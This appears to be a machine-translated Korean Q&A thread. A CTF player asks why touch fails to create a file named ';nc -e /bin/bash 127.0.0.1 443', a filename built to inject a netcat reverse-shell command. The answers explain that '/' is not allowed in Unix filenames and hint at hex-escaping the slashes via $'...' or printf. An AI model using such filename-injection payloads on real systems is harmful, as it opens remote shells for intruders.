파일 이름에서 "/bin/bash"를 탈출하십시오.

파일 이름에서 "/bin/bash"를 탈출하십시오.

CTF로 플레이 중이고 touch 명령을 사용하여 이름이 지정된 파일을 생성하고 싶지만 ;nc -e /bin/bash 127.0.0.1 443실패합니다.

문제 없이 라는 파일을 만들고 다음 ;nc -e 127.0.0.1 443과 같은 내용을 작성할 수 있습니다.touch -- \;nc\ \-e\ 127\.0\.0\.1\ \4\4\3/bin/bashtouch -- \;nc\ \-e\ \/\b\i\n\/\b\a\s\h\ 127\.0\.0\.1\ \4\4\3touch: cannot touch ';nc -e /bin/bash 127.0.0.1 443': No such file or directory

내가 뭘 잘못했나요?

답변1

Unix의 파일 이름은 /경로 구분 기호이므로 이 문자를 포함할 수 없습니다.

경로명

;nc -e /bin/bash 127.0.0.1 443

bash 127.0.0.1 443bin의 하위 디렉터리인 디렉터리에서 호출된 파일을 참조합니다 ;nc -e(끝에 공백 있음).

/문자는 Unix 파일 이름에 허용되지 않는 두 문자 중 하나입니다. 다른 하나는 널 문자(ASCII 0 또는 \0)입니다. nul 문자는 문자열 종결자이므로 파일 이름에 허용되지 않습니다.

또한 필수 기호를 이스케이프 처리하는 것보다 복잡한 파일 이름을 작은따옴표로 묶는 것이 더 쉽다는 점에 유의하세요.

touch ';nc -e 127.0.0.1 443'

답변2

;nc -e /bin/bash 127.0.0.1 443touch 명령을 사용하여 다음과 같은 파일을 만들고 싶습니다 .

파일 이름이 eval다른 스크립트의 일부입니까?

$'...'이 경우 참고 자료나 printf유용한 양식을 찾아야 할 수도 있습니다 .

$ echo $'\x2fbin\x2fbash'
/bin/bash
$ printf "\x2fbin\x2fbash"
/bin/bash

이제 파일 이름에 이를 사용하는 방법을 알아보기 위한 연습으로 남겨두겠습니다.

관련 정보